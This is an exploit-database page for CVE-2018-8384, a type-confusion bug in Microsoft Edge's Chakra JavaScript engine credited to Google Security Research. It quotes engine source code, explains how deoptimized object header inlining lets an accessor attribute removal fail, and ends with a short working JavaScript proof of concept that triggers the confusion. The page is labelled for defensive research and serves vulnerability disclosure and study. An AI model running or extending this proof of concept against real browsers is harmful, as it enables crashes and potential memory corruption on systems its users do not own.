Materialized exploit

CVE-2018-8384

CRITICAL

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'PathTypeHandlerBase::SetAttributesHelper' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
    {
#ifdef PROFILE_TYPES
        instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    }
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
    {
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;
    }
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
*/

let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234
};

o.a;  // Type confusion